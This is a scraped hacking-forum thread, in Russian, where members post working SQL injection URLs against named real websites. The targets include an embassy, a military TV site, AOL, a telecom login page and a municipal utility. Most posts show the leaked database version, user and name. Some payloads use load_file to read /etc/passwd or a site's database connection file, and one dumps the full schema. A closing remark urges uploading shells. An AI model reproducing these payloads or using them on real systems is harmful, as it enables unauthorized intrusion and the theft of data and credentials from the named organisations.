SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.indianembassy.at/pages.php?id=-18+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16--
    5.0.83-community
     
  2. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.ginosaladini.it/news/leggi.php?id=-74+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
    
     
    1 person likes this.
  3. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Code:
    
    http://www.nash.lv/index.php?lang=concat_ws(0x2f,version(),database,user())
    
     
  4. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.business-jet.ru/new/news.php?id=-656+union+select+1,database(),3,version(),5,6--
    кому самолетики? :)
     
  5. palec2006

    palec2006 Banned

    Joined:
    30 Oct 2012
    Messages:
    38
    Likes Received:
    33
    Reputations:
    8
    5.5.28-log
    e-neon.ru:ТИЦ:300:pR:3
     
  6. irtgest

    irtgest New Member

    Joined:
    16 Jan 2014
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Коммунальное предприятие «Харьковские Тепловьiе Сети»
     
  7. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    Code:
    http://fontanela.geniuz.cz/page.php?lng=en&id_book=-1+union+select+concat('smotri%20ishodnik',load_file(0x573a5c2e576562526f6f745c67656e69757a2e637a5c666f6e74616e656c615c696e635f636f6e6e6563742e706870)),2,3+--+
     
  8. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://voentv.mil.by/company.php?id=-5+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4--
    Code:
    http://evreux.catholique.fr/annuaire.php?idpers=-1636+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat_ws(0x3a,version(),user(),database()),22,23,24--
     
    1 person likes this.
  9. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    И снова AOL

    Code:
    http://ariannaonline-huffpost-ewr.evip.aol.com/columns/column.php?id=-345+union+select+1,database(),user(),4,version()+--+
     
    2 people like this.
  10. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    http://www.jh-inst.cas.cz/www/dokument.php?p=-24+union+select+1,2,3,4,5,6,7,8,@@version,10,11,12,13,14,15,16,17,18,19
     
  11. e17

    e17 Member

    Joined:
    8 Feb 2013
    Messages:
    47
    Likes Received:
    57
    Reputations:
    81
    _ttp://my.ukrtelecom.ua/ua/login_login_groovy/dfg'AND(extractvalue(1,concat(0x3a,(select(@@version)))))='1
     
  12. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    http://www.post[nogoogle]roi.ru/postform/?nproj=q-020-2d'or+1+group+by+concat((select+version()), floor(rand(0)*2))+having+min(0)--+a
     
  13. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Если выкладываете ссылки, пожалуйста, указывайте в посте имя СУБД и её версию.
     
    1 person likes this.
  14. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    http://myanmardailypost.com/issue_type.php?issue=-10+union+select+1,2,3,4,5,6,version(),8,9,database(),user(),12,13,14,15,16--




    database myanmard_user
    mysql 5.5.37
     
    #15814 OxoTnik, 15 Jul 2014
    Last edited: 16 Jul 2014
    1 person likes this.
  15. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://leochat.mobi/chatroom.php?id=-29+union+select+@@version--
    5.5.35-0+wheezy1
     
    1 person likes this.
  16. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    User()=root@localhost
    Version()=5.5.31-0+wheezy1

    Code:
    http://studio-n.by/catalog/item/89)or(ExtractValue(1,concat(0x3a,(mid(load_file(0x2f6574632f706173737764),1,10))))
     
    1 person likes this.
  17. GhostW

    GhostW Member

    Joined:
    17 Oct 2012
    Messages:
    207
    Likes Received:
    46
    Reputations:
    33
    Code:
    http://www.firagirona.com/participant.php?id=108&cl=-5634+union+select+concat_ws(0x3a,version(),user(),database()),2,3,4,5,6,7,8,9,10,11,12,13--
    Code:
    5.0.51a-24+lenny5-log:firagirona@localhost:firagirona
     
  18. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Code:
    http://www.skyline72.ru/gallery.php?id=-3+union+select+1,concat(version(),0x3a,user()),3,4--
    Code:
    5.1.66-LOG:HOST1222787@LOCALHOST
     
    1 person likes this.
  19. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    Code:
    http://www.musiq1.tv/index.php?site=newsky&vid=-2128%20UNION%20SELECT%201,2,3,4,(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema!=0x696e66f76d6174496f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),6,7,8,9,10,11,12,13,14--
     
  20. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    Code:
    http://www.sostrader.it/sostrader/comunicati_show.cfm?id=-854+union+select+1,2,3,user(),5,6,7,8,9,10,11,12
    PS Кто не зальется тот лох :D
     
Thread Status:
Not open for further replies.